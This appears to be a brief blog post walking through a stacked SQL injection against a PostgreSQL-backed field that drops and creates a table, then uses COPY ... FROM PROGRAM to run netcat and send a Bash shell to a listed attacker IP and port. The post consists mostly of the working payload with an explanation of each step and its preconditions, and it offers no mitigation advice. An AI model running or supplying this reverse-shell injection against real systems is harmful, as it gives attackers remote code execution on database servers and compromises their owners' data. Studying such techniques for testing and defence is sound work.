SQL Injection with System Command Execution via PostgreSQL

Published on April 25, 2025


This SQL injection takes advantage of a semicolon-based injection vulnerability on the vulnerable field to issue multiple successive SQL commands and, ultimately, execute system code on PSQL DB. Here are the details of what happens:

1. Premature Closure of the Original Query

vulnerable=';
The ' closes the expected value (e.g., vulnerable = '178'), and the ; terminates the original SQL statement that the application intended to run.

2. Dropping the Table If It Already Exists

DROP TABLE IF EXISTS commandexec;
To avoid an error if the commandexec table already exists, it is dropped first.

3. Creating a Dummy Table

CREATE TABLE commandexec(data text);
A new table named commandexec with a single column data of type text is created. This table exists solely as a vector for the subsequent system command.

4. Executing a System Command via COPY … FROM PROGRAM

COPY commandexec FROM PROGRAM '/usr/bin/nc.traditional -e /bin/bash 192.168.45.175 4444';

  • COPY … FROM PROGRAM '<command>' is a PostgreSQL feature (available to superusers) that runs the specified shell command and reads its output as if it were a file.
  • Here, the command is nc.traditional -e /bin/bash 192.168.45.175 4444:
    • nc.traditional is the classic version of Netcat,
    • -e /bin/bash tells it to redirect a Bash shell over the network stream,
    • 192.168.45.175 4444 is the attacker’s IP address and port.
  • Result: the database opens a connection to 192.168.45.175 on port 4444 and pipes an interactive shell, creating a reverse shell.

5. Commenting Out the Rest of the Query

--
Everything following in the HTTP request is commented out to prevent any syntax errors.

In Summary

  • Objective: Obtain a remote shell on the PostgreSQL server.
  • Method:
    1. Terminate the legitimate query (';).
    2. Chain multiple SQL commands (DROP, CREATE, COPY FROM PROGRAM).
    3. Run Netcat to establish a reverse shell connection.
  • Requirements:
    • The database user must have superuser privileges (for COPY FROM PROGRAM).
    • The server must allow outbound connections to the attacker’s address.

This injection is especially dangerous because it not only manipulates database structure but, more critically, allows arbitrary system code execution.